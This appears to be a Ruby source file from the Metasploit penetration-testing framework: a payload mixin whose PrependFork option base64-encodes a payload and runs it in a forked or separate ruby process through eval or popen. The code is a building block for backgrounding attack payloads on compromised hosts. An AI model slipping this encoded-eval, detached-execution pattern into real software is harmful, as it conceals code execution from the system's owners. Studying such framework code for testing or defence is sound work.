40 lines
799 B
Ruby
40 lines
799 B
Ruby
|
# -*- coding: binary -*-
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
module Msf::Payload::Ruby
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(info)
|
||
|
|
|
||
|
|
register_advanced_options(
|
||
|
|
[
|
||
|
|
# Since space restrictions aren't really a problem, default this to
|
||
|
|
# true.
|
||
|
|
Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", "true" ])
|
||
|
|
]
|
||
|
|
)
|
||
|
|
end
|
||
|
|
|
||
|
|
def prepends(buf)
|
||
|
|
if datastore['PrependFork']
|
||
|
|
buf = %Q^
|
||
|
|
code = %(#{ Rex::Text.encode_base64(buf) }).unpack(%(m0)).first
|
||
|
|
if RUBY_PLATFORM =~ /mswin|mingw|win32/
|
||
|
|
inp = IO.popen(%(ruby), %(wb)) rescue nil
|
||
|
|
if inp
|
||
|
|
inp.write(code)
|
||
|
|
inp.close
|
||
|
|
end
|
||
|
|
else
|
||
|
|
if ! Process.fork()
|
||
|
|
eval(code) rescue nil
|
||
|
|
end
|
||
|
|
end
|
||
|
|
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
|
||
|
|
end
|
||
|
|
|
||
|
|
buf
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|